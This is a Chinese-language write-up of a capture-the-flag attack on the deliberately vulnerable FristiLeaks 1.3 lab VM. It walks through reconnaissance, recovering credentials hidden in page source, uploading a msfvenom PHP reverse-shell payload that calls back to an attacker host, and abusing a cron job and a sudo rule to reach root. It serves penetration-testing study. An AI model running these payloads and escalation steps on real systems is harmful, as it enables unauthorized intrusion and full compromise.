VulnHub-FristiLeaks: 1.3-靶机渗透学习 – 作者:DXR嗯嗯呐

靶机地址:https://www.vulnhub.com/entry/fristileaks-13,133/

靶机难度:中级(CTF)

靶机发布日期:2015年12月14日

靶机描述:用于荷兰非正式黑客聚会的小型VM,称为Fristileaks。 打算在几个小时内打破,而无需调试器,逆向工程等。

目标:得到root权限

作者:DXR嗯嗯呐

信息收集

根据同时将靶机MAC设置为08:00:27:A5:A6:76

1608444105_5fdee8c919d836f484d98.png!small?1608444104415

1608444056_5fdee898211be83079029.png!small?1608444055113

开启靶机,显示了IP地址

1608444098_5fdee8c25e84eae04bd42.png!small?1608444097336

nmap扫描

1608444123_5fdee8db5a800947cdc8b.png!small

nmap端口扫描

1608444141_5fdee8edd9ac31b862cde.png!small?1608444140979

80 http

访问80端口,没有获得有用的信息

1608444150_5fdee8f6b29cf14d6bdeb.png!small?1608444149763

dirb扫描一下

1608444156_5fdee8fceec916e87870e.png!small?1608444155904

在robots.txt发现了几个目录。

1608444163_5fdee903ab37359345601.png!small?1608444162560

加入dirb配置文件再次扫描

1608444169_5fdee909b10aa00b898c7.png!small?1608444168673

也没有获得有用的信息

看了人家的提示,访问fristi目录

1608444175_5fdee90f8f62461f36cd1.png!small?1608444174518

1608444186_5fdee91ab023dc0caeeb8.png!small?1608444185704

admin登陆失败,看一下网页源代码

1608444217_5fdee939be8779ba713b5.png!small?1608444216960

发现了一段base64编码,解码发现乱码

1608444224_5fdee94023da53ac0075c.png!small?1608444223094

提示PNG,输出到png打开

1608444230_5fdee946c67b21702410d.png!small?1608444229681

display打开

首先安装imagemagick

apt-get install imagemagick

1608444236_5fdee94ca441bfdf325dc.png!small?1608444235877

display打开

display test.png

1608444309_5fdee9957c3b3883a9be0.png!small?1608444308562

再根据上面的提示应该是个用户名

1608444316_5fdee99ccc598497c7472.png!small?1608444315815

这样我们获得用户名密码

eezeepz/kekkekkekkekkEkkEk

getshell

登陆发现一个上传节点

1608444324_5fdee9a4e9afd8e48a502.png!small?1608444323839

根据nmap扫描出来的端口看来应该做了访问限制,正向连接shell,看来是不行了,只能用反弹shell了,msfvenom命令做反弹shell

因为只能上传png,jpg,gif

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.16.129 LPORT=443 -f raw > shell.php

1608444330_5fdee9aa1ad2cca6abe32.png!small?1608444328971

上传文件(只能上传三种图片类型)

1608444358_5fdee9c6c19f574301236.png!small?1608444357683

1608444370_5fdee9d2a4ff4a269d2bb.png!small?1608444369527

找到文件上传的绝对路径

1608444378_5fdee9da436c225ffdceb.png!small?1608444377231

配置msf

1608444384_5fdee9e0e420fff94a265.png!small?1608444383870

获得shell

1608444390_5fdee9e676818f7b04612.png!small?1608444389448

1608444397_5fdee9edaf23db16e0862.png!small?1608444396583

提权

登陆获得apache权限,去home下看看

1608444402_5fdee9f2e832234cae064.png!small?1608444402136

发现eezeepz用户可以访问,查看notes.txt

1608444407_5fdee9f7a2f5305665fe1.png!small?1608444406590

应该是在tmp目录下创建runthis文件,以 /home/admin/开头或者/usr/bin/开头的命令就可以以admin的身份去执行加的命令,执行结果自动输出到cronresult文件

构造语句

/usr/bin/chmod 777 /home/admin

/home/admin/chmod 777 /home/admin         #提示说,admin目录下有chmod命令

执行命令

echo ‘/home/admin/chmod 777 /home/admin’ > /tmp/runthis

1608444441_5fdeea198e279015a8d6e.png!small?1608444440583

获得admin目录访问权限

1608444447_5fdeea1fa513b89264c82.png!small?1608444447583

在目录下,发现两个base64密文和一个加密脚本

1608444452_5fdeea24e033d08f1814b.png!small?1608444452106

根据加密脚本,编写解密脚本

import base64,codecs,sys

def encodeString(str):

destring = codecs.decode(str[::-1], ‘rot13’)

return base64.b64decode(destring)

cryptoResult=encodeString(sys.argv[1])

print cryptoResult

1608444486_5fdeea467a22c2606f45b.png!small?1608444485607

解密获得提示

1608444491_5fdeea4bcba23d88978fb.png!small?1608444490701

解密

mVGZ3O3omkJLmy2pcuTq : thisisalsopw123

=RFn0AKnlMHMPIzpyuTI0ITG : LetThereBeFristi!

根据分析可能是fristigod用户的密码,尝试登陆一下

1608444509_5fdeea5d80f622d3ea244.png!small?1608444508467

登陆成功,看一下是否可以执行sudo命令,看意思是说fristi用户在/var/fristigod/.secret_admin_stuff/doCom下可以执行任何root权限命令

1608444517_5fdeea653dceabb12c64c.png!small?1608444516221

在看一下.bash_history文件,看一看之前有人执行过这样的命令不

1608444546_5fdeea829846937eaab83.png!small?1608444545528

1608444577_5fdeeaa123824b5a242b1.png!small?1608444576074

也得到了同样的证明,直接切换root用户,获得flag

sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom su –

1608444582_5fdeeaa67931317093d6a.png!small?1608444581460

完成!!!

总结

本来想内核漏洞提权,但是没找到可以利用的payload

不过好在没有找到,通过靶机设置的流程,我学到了更多。

1、通过web界面提示获得一个登陆界面

2、对base64界面获得登陆账号密码,登陆后绕过上传限制,上传木马

3、反弹shell,根据eezeepz用户下提示,通过给admin目录加权限,获得两个base64密文和一个加密脚本。

4、重新编译脚本,解密base64,获得fristigod密码

5、登陆fristigod,发现可以具备sudo权限,根据.bash_history提示和对sudo分析,成功提权,获得root权限。

来源:freebuf.com 2020-12-20 14:17:54 by: DXR嗯嗯呐

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论